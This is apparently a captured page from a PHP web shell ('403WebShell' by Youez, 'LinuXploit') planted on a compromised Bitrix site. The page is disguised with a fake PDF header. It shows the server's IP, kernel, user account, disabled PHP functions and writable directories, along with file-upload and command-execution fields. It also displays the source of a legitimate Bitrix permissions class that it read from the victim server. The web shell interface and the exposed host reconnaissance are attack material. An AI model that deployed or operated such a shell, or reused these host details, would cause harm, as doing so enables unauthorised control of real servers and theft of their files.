%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.129.70.238
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sender/lib/access/service/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sender/lib/access/service/roledealcategoryservice.php
<?php
namespace Bitrix\Sender\Access\Service;

use Bitrix\Main;
use Bitrix\Main\DB\SqlQueryException;
use Bitrix\Main\Localization\Loc;
use Bitrix\Sender\Access\AccessController;
use Bitrix\Sender\Access\ActionDictionary;
use Bitrix\Sender\Access\Permission\PermissionDictionary;
use Bitrix\Sender\Access\Role\RoleUtil;

Loc::loadMessages(__FILE__);

class RoleDealCategoryService implements RoleDealCategoryServiceInterface
{
	public const ALL_CATEGORIES = -1;
	/**
	 * @var RolePermissionServiceInterface
	 */
	private $rolePermissionService;
	/**
	 * @inheritDoc
	 */

	public function __construct()
	{
		$this->rolePermissionService = new RolePermissionService();
	}

	/**
	 * get able deal categories by user id
	 * @param int $userId
	 *
	 * @return array
	 * @throws SqlQueryException
	 */
	public function getAbleDealCategories(int $userId): array
	{
		$categories = [];
		if(is_null($userId))
		{
			return $categories;
		}

		$roles = implode(',', $this->rolePermissionService->getRoleListByUser($userId));
		$roles = $roles ?:'\'\'';

		$ownCategory = PermissionDictionary::SEGMENT_CLIENT_OWN_CATEGORY;
		$valueYes = PermissionDictionary::VALUE_YES;
		$query = "
			SELECT DISTINCT `bsr`.`DEAL_CATEGORY_ID` AS `CATEGORY_ID` FROM `b_sender_permission` AS `bsp`
			JOIN `b_sender_role` AS `bsr` ON `bsr`.`ID` = `bsp`.`ROLE_ID`
			WHERE 
			`bsp`.`PERMISSION_ID` = {$ownCategory} 
			AND `bsp`.`VALUE` = {$valueYes}
			AND `bsp`.`ROLE_ID` IN ({$roles})
		";

		return Main\Application::getConnection()->query($query)->fetchAll();
	}

	/**
	 * @param int $userId
	 * @param array $categories
	 *
	 * @return array
	 * @throws SqlQueryException
	 */
	public function getFilteredDealCategories(int $userId, array $categories): array
	{
		$ableDealCategories = $this->getAbleDealCategories($userId);
		$dealCategories = [];

		$this->accessController = new AccessController($userId);
		$allowAll = $this->accessController->isAdmin();

		$dealCategories[''] =  $categories['']??Loc::getMessage('SENDER_DEAL_CATEGORY_WITHOUT_DEAL');
		foreach ($ableDealCategories as $ableDealCategory)
		{
			if((int)$ableDealCategory['CATEGORY_ID'] === self::ALL_CATEGORIES)
			{
				$allowAll = true;
				break;
			}
		}

		if(!$allowAll)
		{
			foreach ($ableDealCategories as $ableDealCategory)
			{
				$dealCategories[$ableDealCategory['CATEGORY_ID']] = $categories[$ableDealCategory['CATEGORY_ID']];
			}
			return $dealCategories;
		}

		return $dealCategories + $categories;
	}


	/**
	 * @param int $dealCategoryId
	 *
	 * @return array
	 * @throws Main\ObjectPropertyException
	 * @throws Main\SystemException
	 * @throws SqlQueryException
	 *
	 */
	public function fillDefaultDealCategoryPermission(int $dealCategoryId): array
	{
		$query = [];
		$map = RoleUtil::preparedRoleMap();

		$managerRoleId = null;
		$adminRoleId = null;
		foreach ($map as $roleKey => $permissions)
		{
			$roleName = RoleUtil::getLocalizedName($roleKey);

			$roleId = $this->rolePermissionService->saveRole($roleName, $dealCategoryId);
			$query = array_merge($query, RoleUtil::buildInsertPermissionQuery($permissions, $roleId));

			if ($roleKey === 'MANAGER')
			{
				$managerRoleId = $roleId;
			}

			if ($roleKey === 'ADMIN')
			{
				$adminRoleId = $roleId;
			}
		}

		RoleUtil::insertPermissions($query);
		(new RoleRelationService())->saveRoleRelation([
			[
				'id' => $managerRoleId,
				'accessCodes' => [
					'AE0' => 'usergroups'
				],
			],
			[
				'id' => $adminRoleId,
				'accessCodes' => [
					'G1' => ''
				],
			],
		]);

		return $this->rolePermissionService->getRoleList(
			[

				"filter" => ["=DEAL_CATEGORY_ID" => $dealCategoryId]
			]
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit